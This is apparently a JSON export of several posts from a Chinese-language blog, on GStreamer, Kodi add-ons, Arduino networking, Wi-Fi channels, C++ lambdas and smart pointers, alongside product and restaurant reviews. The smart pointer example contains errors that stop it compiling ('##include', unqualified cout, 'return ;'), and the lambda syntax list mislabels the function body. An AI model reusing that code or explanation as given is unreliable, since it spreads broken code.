是一個特殊的元件，它同時是資料的來源端與目的端，單獨一個元件即可作為一個完整的管線，它在內部會自動連接必要的元件去撥放這裡指定的多媒體串流，開發者可以不需要煩惱這個問題，雖然它不向一般自建的管線那樣可以自行調整許多細部的參數，不過對於簡單的教學與應用而言，算是很夠用了。\n在這個範例中，我們只有傳入一個 URI 參數給 playbin2，指定多媒體的來源網址，您也可以任意更改這個網址，放入自己的影片檔試試看，而通訊協定不論是網頁的 https:// 或是本機的 file://，playbin2 在內部都會自動連接適合的元件來處理。\nPart 3\n/* 開始撥放影片 */ gst_element_set_state (pipeline, GST_STATE_PLAYING); 呼叫 gst_element_set_state() 將管線（只包含一個元件）的狀態設定為 GST_STATE_PLAYING，開始撥放影片串流。\n在 GStreamer 的管線中，每個元件都有一個狀態，就好像影片撥放器的播放與停止一樣，我們必須把狀態設定為撥放（GST_STATE_PLAYING），他才會真正開始處理資料。\nPart 4\n/* Wait until error or EOS */ bus = gst_element_get_bus (pipeline); msg = gst_bus_timed_pop_filtered (bus, GST_CLOCK_TIME_NONE, GST_MESSAGE_ERROR | GST_MESSAGE_EOS); 接著呼叫 gst_element_get_bus() 取得管線的 bus，然後呼叫 gst_bus_timed_pop_filtered()，程式會一直 block 在這裡，直到有 ERROR 或是 EOS（End-Of-Stream）出現之後才會離開。\n程式執行到這裡之後，GStreamer 會負責剩下的所有多媒體串流與撥放工作，開發者就不用管了。而 GStreamer 的 bus 我們在後面的教學會有詳細的介紹，目前可以暫時不用管它。\n如果您所指定的 URI 有問題，或是某些 GStreamer 附加元件找不到（沒有安裝）時，GStreamer 提供了很多錯誤回報的方式，不過在這個範例中，我們沒有加入太複雜的錯誤處理機制，只是讓程式在錯誤出現時就直接離開。\nPart 5\n/* 釋放記憶體資源 */ if (msg != NULL) gst_message_unref (msg); gst_object_unref (bus); gst_element_set_state (pipeline, GST_STATE_NULL); gst_object_unref (pipeline); 程式的最後還要記得將配置的記憶體回收，在這個範例中，gst_bus_timed_pop_filtered() 所傳回的 msg 在使用完之後要呼叫 gst_message_unref() 釋放記憶體，而 gst_element_get_bus() 所傳回的 bus 則需要呼叫 gst_object_unref() 來釋放。\n將管線的狀態設定為 GST_STATE_NULL 可以確保管線釋放所有它所使用的記憶體，最後再使用 gst_object_unref() 釋放管線本身的記憶體。\n編譯 GStreamer 程式 在 Linux 系統中使用 gcc 編譯這個程式碼：\ngcc basic-tutorial-1.c -o basic-tutorial-1 `pkg-config --cflags --libs gstreamer-0.10` 編譯完成之後，會產生一個 basic-tutorial-1 執行檔，執行它之後就會開始播放網路上的影片串流：\n./basic-tutorial-1 這是播放的視窗：\n參考資料 GStreamer Basic tutorials ","permalink":"https://blog.gtwang.org/programming/gstreamer-hello-world-streaming/","summary":"\u003cp\u003e這是 GStreamer 的入門使用教學，播放網路影片串流的 Hello World 程式。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"gstreamer-logo\" loading=\"lazy\" src=\"/programming/gstreamer-hello-world-streaming/gstreamer-logo.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://gstreamer.freedesktop.org/\"\u003eGStreamer\u003c/a\u003e 是 GNOME 桌面環境之下用來建立多媒體串流應用的架構（framework），可以簡化影音相關應用程式的開發流程，支援各種常用的多媒體影音格式，如 mp3、ogg、mpeg1、mpeg2、avi、quicktime 等。\u003c/p\u003e","title":"GStreamer 入門使用教學（一）：播放網路影片串流（Streaming）Hello World 程式"},{"content":"這是我最近買的百工車用吸塵氣，在車上使用還算方便。\n因為家裡有比較小的小朋友，車子常常會需要清理，但是我的車子又不是停在家裡，要家用的吸塵器要找插頭實在很麻煩，所以就買了這隻車用的吸塵器，直接插車上的點煙器就可以用，比較方便。\n這就是百工 ACV1205 吸塵器，電源線有五公尺。\n這是吸塵器底部的樣子。\n有兩個常用的吸嘴是裝在吸塵器底部的。\n吸嘴有好幾種，自己可以任意更換。\n普通的小吸嘴。\n有刷毛的小吸嘴。\n接上軟管的長吸嘴。\n接上軟管的刷毛吸嘴。\n出風口的小濾網。\n這是打開集塵室的樣子。\n這是集塵室約有 700ml。\n濾網有兩層，髒了就直接用水清洗。\n以下是實測的狀況，我是拿我家很久都沒有清理（因為沒有吸塵器）的車子來測試，而測試的時候因為又要拿吸塵器又要拿相機，手忙腳亂，所以只是大約測試一下。\n這是後座踏墊下還沒清理的狀況。\n這是我用吸塵器吸過之後的狀況，基本上除了有些小沙子卡在裡面的吸不到之外，一般的狀況都還可以吸的乾淨。\n這是另外一邊的狀況。\n吸完之後，就乾淨很多。\n吸完之後，打開集塵室看看。\n比較大塊的垃圾都可以吸得起來，還不錯。\n這個吸塵器的電源線有五米長，所以一般的房車插上點菸器之後，拉到後車廂來吸都夠長，我這台 Honda Accord 都沒問題了，其他的車應該也不會有什麼問題。\n經過簡單的測試，我是感覺這樣的車用吸塵氣還算方便，不過因為電源是接車上的點菸器，吸力就沒辦法跟一般家用的吸塵器來比，如果您習慣用家用的吸塵器，會感覺這種車用的吸塵器吸力很弱，不過這也是沒辦法的事，他的優點就是方便而已，我是覺得慢慢吸還可以接受。\n另外因為這樣的吸塵器功率比較高，使用的時候要發動車子會比較好，以免耗損電瓶。\n","permalink":"https://blog.gtwang.org/unboxing/black-and-decker-cleaner-acv1205/","summary":"\u003cp\u003e這是我最近買的百工車用吸塵氣，在車上使用還算方便。\u003c/p\u003e\n\u003cp\u003e因為家裡有比較小的小朋友，車子常常會需要清理，但是我的車子又不是停在家裡，要家用的吸塵器要找插頭實在很麻煩，所以就買了這隻車用的吸塵器，直接插車上的點煙器就可以用，比較方便。\u003c/p\u003e","title":"[開箱] 美國百工 BLACK\u0026DECKER 旋風式車用吸塵器（ACV1205）實測"},{"content":"樹莓派安裝 OpenELEC（XBMC/Kodi）系統，再加裝中文節目套件之後，就可以收看土豆網與優酷等影片。\n樹莓派在安裝了 OpenELEC（XBMC/Kodi）系統，就可以作為家庭用的媒體中心，可以播放影音檔案或是收看線上的節目，不過 XMBC/Kodi 內建的功能與插件都是英文的，沒有中文的節目，就算用 YouTube 搜尋中文節目，也需要透過手機的中文輸入法才能夠輸入中文，使用上也不是非常方便。\n如果想要觀看中文的節目，有一個比較方便的方式就是安裝 XBMC/Kodi 中文插件庫（xbmc-addons-chinese），它裡面包含了許多常見的中文影音網站插件：\n5ivdo(5ivdo) 哔哩哔哩(bilibili) CNTV Live 中国网络电视台直播 风行视频(Funshion) 酷6云中剧场(Ku6) 乐视网(LeTV) PPS影音(PPS.tv) PPS网络电视(PPStream) PPTV视频 搜狐视频(SoHu) 音悦台MV(YinYueTai) 优酷视频(YouKu) 优酷视频2(YouKu2) XBMC/Kodi 中文插件庫可以讓您直接在 XBMC/Kodi 中播放這些網站上的中文影片，以下是安裝與使用的步驟。\nStep 1\n從 xbmc-addons-chinese 的網站下載最新的中文套件庫壓縮檔（本文撰寫的時候，最新的是 repository.xbmc-addons-chinese-1.2.0.zip）。\n將這個壓縮檔儲存至一個 USB 隨身中，以便稍候放進樹莓派的 OpenELEC（XBMC/Kodi）系統中使用。\nStep 2\n進入 OpenELEC（XBMC/Kodi）系統，插入剛剛的 USB 隨身碟，然後在系統的附加元件的選單中，選擇「從 zip 檔案安裝」。\nStep 3\n選擇自己的 USB 隨身碟。\nStep 4\n選擇剛剛下載的中文套件庫 zip 壓縮檔，進行安裝。\nStep 5\n安裝完成之後，回到附加元件的選單，選擇「取得附加元件」。\nStep 6\n選擇「Chinese Add-ons」。\nStep 7\n選擇想要安裝的附加元件類別，最常用的就是「視訊附加元件」。\nStep 8\n選擇想要安裝的附加元件。\nStep 9\n選擇要安裝的附加元件之後，再選擇「安裝」。\n按下「安裝」之後，要稍微等一下，整個安裝的過程會在背景執行。\nStep 10\n安裝好影片的附加元件之後，就可以在主選單中選擇影片的「附加元件」。\nStep 11\n選擇剛裝好的中文附加元件，這裡我們以 PPS 網路電視作為示範。\nStep 12\n選擇影片類別。\nStep 13\n選擇要觀賞的影片。\nStep 14\n選擇要觀看的集數。\nStep 15\n這是播放影片的畫面。\nStep 16\n除了卡通動畫之外，也有電影。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/openelec-xbmc-kodi-chinese-addons/","summary":"\u003cp\u003e樹莓派安裝 OpenELEC（XBMC/Kodi）系統，再加裝中文節目套件之後，就可以收看土豆網與優酷等影片。\u003c/p\u003e\n\u003cp\u003e樹莓派在安裝了 OpenELEC（XBMC/Kodi）系統，就可以作為家庭用的媒體中心，可以播放影音檔案或是收看線上的節目，不過 XMBC/Kodi 內建的功能與插件都是英文的，沒有中文的節目，就算用 YouTube 搜尋中文節目，也需要\u003ca href=\"/iot/openelec-xbmc-remote-chinese-input-method/\"\u003e透過手機的中文輸入法\u003c/a\u003e才能夠輸入中文，使用上也不是非常方便。\u003c/p\u003e","title":"樹莓派 OpenELEC（XBMC/Kodi）加入中文節目套件，觀看土豆網與優酷等影片"},{"content":"這裡介紹如何使用 Arduino Ethernet Shield W5100 乙太網路擴充板，透過 DHCP 自動取得 IP 位址。\n這張是副廠的 Arduino Ethernet Shield W5100 乙太網路擴充板，相容於原廠的乙太網路擴充板，不過價格比較便宜，原廠的在網路上一張要價一千六百多，而這張只要三百多塊，如果沒有 POE 支援的更便宜，只要兩百多塊。\n這是網路擴充板的背面。\n擴充板在使用時就直接插在 Arduino 即可，這裡我是拿一張 UNO 的相容板來示範。\n插上擴充板之後，側面的樣子。\n這張擴充板在插上 UNO 上面時，RJ45 的插座下方的針腳很容易頂到 UNO 的 USB 插座，如果怕短路的話，在上面貼個膠帶會比較好。\n接上 USB 線與網路線，就可以來開發程式了。\n要使用這張乙太網路擴充板需要一些函式庫，而 Arduino 的開發環境中有內建基本函式庫可以使用，以下是從 DHCP 取得 IP 位址，讓 Arduino 連上網路的範例。\n#include \u0026lt;SPI.h\u0026gt; #include \u0026lt;Ethernet.h\u0026gt; // 指定網路卡 MAC 卡號 byte mac[] = { 0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02 }; // 初始化 Ethernet client library EthernetClient client; void setup() { // 初始化序列埠 Serial.begin(115200); // 啟用 Ethernet 連線，預設會以 DHCP 取得 IP 位址 if (Ethernet.begin(mac) == 0) { Serial.println(\u0026#34;無法取得 IP 位址\u0026#34;); // 無法取得 IP 位址，不做任何事情 for(;;) ; } // 輸出 IP 位址 Serial.print(\u0026#34;IP 位址：\u0026#34;); Serial.println(Ethernet.localIP()); } void loop() { } 這裡的 Ethernet.begin(mac) 是設定網路卡 MAC 卡號，並且以 DHCP 取得 IP 位址，如果要自行指定 IP 位址，可以這樣寫：\n// 網路卡 MAC 卡號 byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // 指定 IP 位址 byte ip[] = { 192, 168, 1, 200 }; void setup() { Ethernet.begin(mac, ip); } 若要設定 DNS、預設閘道與子網域等，就將這些參數再加上去即可，詳細用法請參考 Ethernet 的說明。\n將寫好的程式編譯並上傳至 Arduino 之後，開啟序列埠監控視窗，就可以看到 Arduino 從 DHCP 伺服器所取得的動態 IP 位址了。\n這時候可以使用 ping 測試一下，看看 Arduino 所取得的 IP 位址是否可以正常使用。\n如果您對於 Arduino 的相關應用有興趣，建議您可以繼續閱讀物聯網的文章。\n","permalink":"https://blog.gtwang.org/iot/arduino-ethernet-shield-w5100-dhcp-ip-address/","summary":"\u003cp\u003e這裡介紹如何使用 Arduino Ethernet Shield W5100 乙太網路擴充板，透過 DHCP 自動取得 IP 位址。\u003c/p\u003e\n\u003cp\u003e這張是副廠的 Arduino Ethernet Shield W5100 乙太網路擴充板，相容於原廠的乙太網路擴充板，不過價格比較便宜，原廠的在網路上一張要價一千六百多，而這張只要三百多塊，如果沒有 POE 支援的更便宜，只要兩百多塊。\u003c/p\u003e","title":"Arduino Ethernet Shield W5100 乙太網路擴充板，使用 DHCP 取得 IP 位址"},{"content":"這裡介紹如何選擇最佳的 Wi-Fi 無線網路頻道（channel），減少訊號的干擾，提升網路品質。\n架設 Wi-Fi 無線網路時，到底該使用哪一個頻道（channel）是大家都會問的問題，一般的建議是可以使用 1、6、11 這三個，原因在於這三個頻道所使用的頻段剛好都是分開的，沒有重疊，所以可以減少訊號互相干擾的狀況。\n但是這樣的建議只能做為參考，因為不見的每個人都會依照這樣的建議來設定頻道，而且現在幾乎家家戶戶都有 Wi-Fi 基地台，住在人口稠密的都市中，同時收到十幾個 Wi-Fi 基地台的訊號也是很常見的狀況，縱使大家都遵守這樣的原則，但是如果大家都剛好選用同一個頻道（例如大家都選擇第 1 個頻道），干擾也是會很嚴重的。\n在實務上若要減低訊號的干擾，在選擇頻道前可以使用一些無線網路訊號分析工具來檢測一下，選擇一個最佳的頻道來使用，以下介紹各種不同平台上的 Wi-Fi 訊號檢測工具。\nAndroid 在 Android 的手機或是平板電腦上，可以使用 WiFi Analyzer這個 App 來檢測無線網路訊號，這個工具可以讓您可以很直覺地看出每個 Wi-Fi 基地台所使用的頻道與占用的頻段。\n如果很多人都使用同一個頻段，訊號就容易會互相干擾，所以最好是找一個比較少人使用的頻道，以這個例子來說，第 1 個頻道到第 3 個頻道都沒有人使用，如果要架設一個新的基地台，就可以選擇這幾個頻道來使用。\nWifi 分析儀也有一個頻道評分表，它會依照每個頻道被使用的狀況來評分，這裡因為前三個頻道都沒有人使用，所以分數比較高，而之後的頻道因為已經被幾個 Wi-Fi 基地台使用了，因此分數就依序遞減。如果不想研究這些頻率問題的人，就可以直接挑選分數最高的頻率來使用，簡單又明瞭。\nWindows 對於 Windows 的使用者而言，網路上有很多 Wi-Fi 免費的訊號分析軟體，只要理解基本的頻道與頻率的概念，看得懂各段頻率的使用情形，使用哪一套軟體其實都差不多。\n下面這個這個是 WiFi Analyzer 這套軟體的使用介面。\n基本上這類的軟體應該都會有這樣的頻率圖，只要找一個比較沒有人在使用的頻道，就可以減低干擾。\nMac OS X 在 Mac OS X 中本身就有內建一個強大的無線網路診斷工具，但是他不會出現在 Lunchpad 中，如果要開啟它最快的方式就是按下 Ctrl + 空白鍵，開啟 Spotlight 搜尋功能，輸入 wireless 關鍵字來搜尋。\n打開無限診斷工具之後，會出現一個視窗，上面有一大堆說明然後要您按下「繼續」開始診斷，這種診斷是在無線網路有問題的時候才會需要做，這裡我們不需要，所以這個視窗就放著不要管它。\n接著在「視窗」選單中，點選「掃描」。\n這時候就會出現這樣的無線網路掃描工具。\n右邊是目前無線網路的使用狀況，而左邊則是簡單的摘要資訊，其中就有包含目前最佳的頻道，對於不想研究細節的人，可以直接選擇這裏建議的最佳頻道即可。\nLinux 在 Linux 中如果要查看各個無線網路頻道的使用狀況，可以直接使用 iwlist 來掃描：\nsudo iwlist wlan0 scan | grep Frequency 這裡我們將 iwlist 的輸出用 grep 篩選出各個基地台所使用的頻道。\n如果不想要使用指令的方式，可以安裝 Wifi Radar：\nsudo apt-get install wifi-radar 他有提供比較容易使用的視窗介面：\n更改無線網路 Wi-Fi 頻道 在找到干擾比較少的頻道之後，就可以更改一下無線網路的設定了，一般的路由器（IP 分享器）都會有類似這樣的介面可以讓使用者更改。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/useful-tools/how-to-find-the-best-wi-fi-channel-for-your-router/","summary":"\u003cp\u003e這裡介紹如何選擇最佳的 Wi-Fi 無線網路頻道（channel），減少訊號的干擾，提升網路品質。\u003c/p\u003e\n\u003cp\u003e架設 Wi-Fi 無線網路時，到底該使用哪一個頻道（channel）是大家都會問的問題，一般的建議是可以使用 1、6、11 這三個，原因在於這三個頻道所使用的頻段剛好都是分開的，沒有重疊，所以可以減少訊號互相干擾的狀況。\u003c/p\u003e","title":"如何選擇最佳的 Wi-Fi 無線網路頻道，獲得最佳的傳輸速度"},{"content":"恭喜新年好！這是我走在路上看到的英文春聯，很有意思，跟大家分享一下。\n這是我走經過一家美語教室看到的英文春聯，老實說我還是第一次看到英文寫的春聯，很有創意。\n上聯是：Eat Well, Sleep Well, Be Healthy Every Day. 下聯是：Be Happy, Be Smart, Make Money A Lot.\n如果有橫批就更棒了！\n","permalink":"https://blog.gtwang.org/funny/english-new-year-couplets/","summary":"\u003cp\u003e恭喜新年好！這是我走在路上看到的英文春聯，很有意思，跟大家分享一下。\u003c/p\u003e\n\u003cp\u003e這是我走經過一家美語教室看到的英文春聯，老實說我還是第一次看到英文寫的春聯，很有創意。\u003c/p\u003e","title":"新年恭喜！英文的春聯"},{"content":"這次過年期間去台南的王品舒果聚餐，順便拍一些照片記錄一下。\n由於跟家人一起吃飯，一邊吃一邊拍實在不是很方便，再加上又是用我的紅米手機拍的，所以照片拍的不是很好，實際上現場的狀況比照片中更好看。\n餐廳擺設與服務品質都很不錯。\n這是前菜，右邊的是藍莓山藥，中間的是彩椒水蓮，左邊的是蒟蒻蕃茄。\n迷迭香火柴麵包，這個麵包是無限量供應的。\n麵包沾上麵包醬之後，真的很好吃，我們家小朋友很愛吃這個。\n麵包與沾醬吃完之後，如果還要吃就直接通知服務生，要吃多少都沒問題，只是建議一開始別吃太多，因為後面的餐點還很多，如果麵包吃太多，到後面就吃不下了。\n麵包的沾醬有分麵包醬與藍莓醬，我是感覺麵包醬比較好吃（應該是說藍莓也不錯，只是麵包醬實在太好吃了，所以我都沾麵包醬）。\n這是水果加上藍莓醬。\n這是桑椹纖醋，因為經過調味，所以喝起來甜甜的，不怎麼酸，小朋友也很喜歡喝。這個在用餐期間也是無限量供應的，喝完可以請服務生再加。\n這是牛蒡腰果清湯。\n這是義式燉蔬煲。\n接著是主菜，這是米蘭芝心披薩，我的主菜就是點這個，我是感覺非常好吃。\n這個是卡洛佐尼枕頭披薩，這個不是我點的，聽他們吃的人說餅皮很大張但是料不多。\n這是切開的樣子。\n這個是翡翠總匯起士披薩，這個也很好吃，不過我還是覺得我點的米蘭芝心披薩最好吃。\n這是最後的飲料與甜點，右邊的是香蕉乳酪塔，左邊的是鮮打蔬果汁（今天的是西瓜汁）。\n左邊這杯是洋甘菊香柚花茶。\n如果有帶小朋友的人，來到這裡服務生都會準備小朋友專用的餐具（不怕打破的那種），因為小朋友食量不大，不需要另外點餐（當然也就不用另外收費），跟大人一起吃就夠了，非常划算，最後還有送一個這個造型氣球。\n整體而言，我感覺王品舒果很不錯，東西好吃、服務周到，對於素食者也非常體貼，雖然菜單上的主菜有許多東西是有加蔥與蒜的，但是現場服務生說除了其中一道（我忘記是哪一道了）是已經把蔥蒜事先加進去的之外，其他的主菜可以請廚師把蔥與蒜拿掉，如果您是吃蛋奶素的，幾乎每道主菜都可以點，選擇很多。\n這裡的餐點份量算是很多的，再加上無限量的麵包供應，小朋友跟大人一起吃絕對不是問題，以我的小朋友而言，因為麵包實在太好吃了，我估計如果不給他節制的話，他光吃麵包就可以吃到飽了。\n","permalink":"https://blog.gtwang.org/life/tainan-sufood/","summary":"\u003cp\u003e這次過年期間去台南的王品舒果聚餐，順便拍一些照片記錄一下。\u003c/p\u003e\n\u003cp\u003e由於跟家人一起吃飯，一邊吃一邊拍實在不是很方便，再加上又是用我的紅米手機拍的，所以照片拍的不是很好，實際上現場的狀況比照片中更好看。\u003c/p\u003e","title":"[台南素食] 王品舒果，新米蘭蔬食，適合素食者用餐"},{"content":"C++11 標準中所新增的 lambda expression 語法，可以讓函數的定義與使用更加有彈性，程式碼看起來也更簡潔。\nC++11 的標準中加入了一個新的 lambda expression 語法，如果您有一陣子沒有注意最新的 C++ 標準，看到這樣的寫法可能會感覺很奇怪，以下我們將介紹 lambda expression 的使用方式與時機，並提供幾個範例作為參考。\nLambda expression 是一種匿名函數的表示方式，它可以讓程式設計師將函數的內容直接以 inline 的方式寫在一般的程式碼之中，省去另外定義函數的麻煩，使用時機跟 functor 與 function pointer 類似，一般的狀況都是使用 lambda expression 定義一個匿名的函數，然後再將此函數當作另外一個函數的傳入參數來使用。\n支援 Lambda Expression 的 C++ 編譯器 要開始學習 lambda expression 之前，要先準備支援 lambda expression 的編譯器，由於 lambda expression 是在 C++ 11 才加入的新語法，所以不見得每一種編譯器都有支援，以下這些是有支援 lambda expression 的編譯器版本：\nGCC 4.5：需要指定 -std=c++11 參數。 Intel C++ Compiler 11：需要指定 /Qstd=c++0x 參數。 Microsoft Visual C++ 2010（包含在 Visual Studio 2010 之中） Lambda Expression 的語法 Lambda expression 基本的用法如下：\n[=] (int x) mutable throw() -\u0026gt; int { // 函數內容 int n = x + y; return n; } [=]：lambda-introducer，也稱為 capture clause。所有的 lambda expression 都是以它來作為開頭，不可以省略，它除了用來作為 lambda expression 開頭的關鍵字之外，也有抓取（capture）變數的功能，指定該如何將目前 scope 範圍之變數抓取至 lambda expression 中使用，而抓取變數的方式則分為傳值（by value）與傳參考（by reference）兩種，跟一般函數參數的傳入方式類似，不過其語法有些不同，以下我們以範例解釋：\n[]：只有兩個中括號，完全不抓取外部的變數。 [=]：所有的變數都以傳值（by value）的方式抓取。 [\u0026amp;]：所有的變數都以傳參考（by reference）的方式抓取。 [x, \u0026amp;y]：x 變數使用傳值、y 變數使用傳參考。 [=, \u0026amp;y]：除了 y 變數使用傳參考之外，其餘的變數皆使用傳值的方式。 [\u0026amp;, x]：除了 x 變數使用傳值之外，其餘的變數皆使用傳參考的方式。 這裡要注意一點，預設的抓取選項（capture-default，亦即 = 或是 \u0026amp;）要放在所有的項目之前，也就是放在第一個位置。\n(int x)：lambda declarator，也稱為參數清單（parameter list）。定義此匿名函數的傳入參數列表，基本的用法跟一般函數的傳入參數列表一樣，不過多了一些限制條件：\n不可指定參數的預設值。 不可使用可變長度的參數列表。 參數列表不可以包含沒有命名的參數。 參數清單在 lambda expression 中並不是一個必要的項目，如果不需要傳入任何參數的話，可以連同小括號都一起省略。\nmutable：mutable specification。加入此關鍵字可以讓 lambda expression 直接修改以傳值方式抓取進來的外部變數，若不需要此功能，則可以將其省略。\nthrow()：例外狀況規格（exception specification）。指定該函數會丟出的例外，其使用的方法跟一班函數的例外指定方式相同。如果該函數沒有使用到例外的功能，則可以直接省略掉。\n-\u0026gt; int：傳回值型別（return type）。指定 lambda expression 傳回值的型別，這個範例是指定傳回值型別為整數（int），其他的型別則以此類推。如果 lambda expression 所定義的函數很單純，只有包含一個傳回陳述式（statement）或是根本沒有傳回值的話，這部分就可以直接省略，讓編譯器自行判斷傳回值的型別。\nmutable：compound-statement，亦稱為 Lambda 主體（lambda body）。這個就是匿名函數的內容，就跟一般的函數內容一樣。\nLambda Expression 的範例 透過一些範例可以讓我們更容易了解 lambda expression 的使用時機與其優勢所在。\nHello World 這是一個最簡單的 Hello World 範例。\n#include \u0026lt;iostream\u0026gt; using namespace std; int main() { auto lambda = []() { cout \u0026lt;\u0026lt; \u0026#34;Hello, Lambda\u0026#34; \u0026lt;\u0026lt; endl; }; lambda(); } 由於這裡的 lambda expression 並沒有需要傳入任何參數，所以可以連同小括號一起省略，改寫成這樣：\nauto lambda = [] { cout \u0026lt;\u0026lt; \u0026#34;Hello, Lambda\u0026#34; \u0026lt;\u0026lt; endl; }; 也可以在參數列加上 void，明確標示沒有傳入參數：\nauto lambda = [](void) { cout \u0026lt;\u0026lt; \u0026#34;Hello, Lambda\u0026#34; \u0026lt;\u0026lt; endl; }; 或是將傳回值的類型設為 void，明確標示這個函數沒有傳回值：\nauto lambda = [](void) -\u0026gt; void { cout \u0026lt;\u0026lt; \u0026#34;Hello, Lambda\u0026#34; \u0026lt;\u0026lt; endl; }; 直接呼叫 Lambda Expression 這個例子是直接呼叫 lambda expression 所定義的匿名函數，將兩個參數傳入其中進行運算，最後再將運算結果傳回來：\n#include \u0026lt;iostream\u0026gt; int main() { using namespace std; int n = [] (int x, int y) { return x + y; }(5, 4); cout \u0026lt;\u0026lt; n \u0026lt;\u0026lt; endl; } 這個程式執行後的輸出為\n9 配合 STL 使用 C++ 標準程式庫中有許多的函數在使用時會需要其他的函數作為傳入參數，最常見的就是一些對於陣列的處理函數，這個例子是 std::count_if 最簡單的使用方式：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;vector\u0026gt; using namespace std; // 提供給 std::count_if 用的函數 bool condition(int value) { return (value \u0026gt; 5); } int main() { vector\u0026lt;int\u0026gt; numbers { 1, 2, 3, 4, 5, 10, 15, 20, 25, 35, 45, 50 }; // 看看 numbers 中有幾個元素符合 condition 函數所定義的判斷條件 auto count = count_if(numbers.begin(), numbers.end(), condition); cout \u0026lt;\u0026lt; \u0026#34;Count: \u0026#34; \u0026lt;\u0026lt; count \u0026lt;\u0026lt; endl; } 這裡我們定義一個 condition 函數，作為 std::count_if 在判斷元素時的依據，std::count_if 會將每個元素一一傳入 condition 函數中檢查，最後傳回所有符合條件的元素個數。\n由於 std::count_if 所使用到的判斷函數都需要另外定義，這樣會讓程式碼顯得很冗長，我們可以使用 lambda expression 改寫一下，讓整個程式碼更簡潔：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;vector\u0026gt; using namespace std; int main() { vector\u0026lt;int\u0026gt; numbers { 1, 2, 3, 4, 5, 10, 15, 20, 25, 35, 45, 50 }; // 使用 lambda expression 替代原有的 condition 函數 auto count = count_if(numbers.begin(), numbers.end(), [](int x) { return (x \u0026gt; 5); }); cout \u0026lt;\u0026lt; \u0026#34;Count: \u0026#34; \u0026lt;\u0026lt; count \u0026lt;\u0026lt; endl; } 我們將原本 condition 函數所在的位置，直接使用一個 lambda expression 替換，至於傳入的參數與傳回值的類型則維持不變（傳入 int，傳回 bool）。\n參考資料 stackoverflow Cprogramming Heresy\u0026rsquo;s Space ","permalink":"https://blog.gtwang.org/programming/lambda-expression-in-c11/","summary":"\u003cp\u003eC++11 標準中所新增的 lambda expression 語法，可以讓函數的定義與使用更加有彈性，程式碼看起來也更簡潔。\u003c/p\u003e\n\u003cp\u003eC++11 的標準中加入了一個新的 lambda expression 語法，如果您有一陣子沒有注意最新的 C++ 標準，看到這樣的寫法可能會感覺很奇怪，以下我們將介紹 lambda expression 的使用方式與時機，並提供幾個範例作為參考。\u003c/p\u003e","title":"C++11 Lambda Expression 語法教學與範例"},{"content":"Google 今年特別為了中國農曆新年設計了一項自己創作電子春聯的線上服務，讓大家不用拿毛筆也可以寫春聯送給朋友。\nGoogle 今年在中國農曆春節期推出的「洋灑新願」電子春聯服務，使用者可以自電腦上透過滑鼠來寫毛筆字，他會依據滑鼠的移動速度來決定筆畫的深淺與粗細。\n另外也可以使用手機或平板電腦，直接用手指來寫，會比用滑鼠簡單一些，不過若想要寫得好看一點，可能還是需要練習一下。\n用這種電子春聯可以創作出獨一無二的作品送給朋友，給人的感覺非常特別，另外寫得不好可以重新寫，不用擔心耗費紙張，既環保又方便。\n","permalink":"https://blog.gtwang.org/funny/google-chinese-new-year/","summary":"\u003cp\u003eGoogle 今年特別為了中國農曆新年設計了一項自己創作電子春聯的線上服務，讓大家不用拿毛筆也可以寫春聯送給朋友。\u003c/p\u003e\n\u003cp\u003eGoogle 今年在中國農曆春節期推出的「洋灑新願」電子春聯服務，使用者可以自電腦上透過滑鼠來寫毛筆字，他會依據滑鼠的移動速度來決定筆畫的深淺與粗細。\u003c/p\u003e","title":"Google 洋灑新願電子春聯，分享自己創作的春聯給好友"},{"content":"智慧型指標是 C++ 中一個常用的設計模式，它可以讓 C++ 的程式自行管理記憶體的配置與回收，避免記憶體洩漏等問題。\n在 C/C++ 語言中，我們常常會使用指標（pointer）來配置或存取記憶體，一個指標變數儲存了記憶體的位址，而程式設計師就可以運用這個記憶體位址來做出各種變化，是一個非常好用的型別，甚至在某些複雜的應用上，如果沒有指標這項功能的話，可能會讓程式設計師不知道如何開發程式。\n雖然指標對於 C/C++ 程式設計師而言非常重要，不過它難以管理的問題，也常常讓程式開發者頭痛，如果記憶體沒有配置得當，很容易造成懸置指標（dangling pointer）、空指標例外（null pointer exception）與記憶體洩漏（memory leak）等問題，嚴重的話會讓直接讓整個程式當掉、無法執行，而且記憶體配置與指標的問題在除錯上比較麻煩，編譯器並不會因為存取不對的記憶體位址而發出警告，必須要靠程式設計師自己小心的來處理。\n假設有一段 C++ 程式碼如下：\nFoo* foo = new Foo(); foo-\u0026gt;Study(); // 如果這裡發生例外（exception）的話， delete foo; // 最後的記憶體將無法回收 如果在 Study() 函數中發生例外，讓程式提早跳出原有的執行順序的話，有可能就會造成這裡配置的記憶體永遠無法回收，直到程式執行結束為止，而這樣的問題就可以考慮以智慧型指標來解決。\n智慧型指標（Smart Pointer） 智慧型指標其實就是把一般的指標包裝在 C++ 的物件之中，然後再加上一些記憶體管理的功能，而在使用上則跟一般的指標差不多，所以可以直接用來代替一般的指標。\n智慧型指標的實作方式有許多種，這裡我們只是示範其中一種比較簡單的方式。其最基本的概念就是實作一個類別，將 * 與 -\u0026gt; 這兩個運算子多載化（overloading），並在解構子（destructor）中加入記憶體回收的功能。\n##include\u0026lt;iostream\u0026gt; class Ptr { // 實作智慧型指標的類別 int *ptr; public: explicit Ptr(int *p = NULL) { ptr = p; } // 將指標儲存起來 ~Ptr() { delete(ptr); } // 回收記憶體 int \u0026amp;operator *() { return *ptr; } // 多載化 * 運算子 }; int main() { Ptr ptr(new int()); *ptr = 4; cout \u0026lt;\u0026lt; *ptr; // 智慧型指標會自動回收記憶體 return ; } 這裏我們使用智慧型指標來管理記憶體，在動態配置的記憶體使用完之後，它就會自動回收沒有用的記憶體。這裡我們以基本的 int* 指標來示範實作的概念，實務上通常我們會改用泛型程式設計的方式，實作各種型別都可以用的智慧型指標。\n由於智慧型指標已經是一個很普遍的技術了，有許多開放原始碼的函式庫都有提供這樣的功能，與其自己寫倒不如直接使用既有的函式庫，例如 boost 就有提供這樣的功能，另外在 C++ 11 的標準中也加入了 General-purpose smart 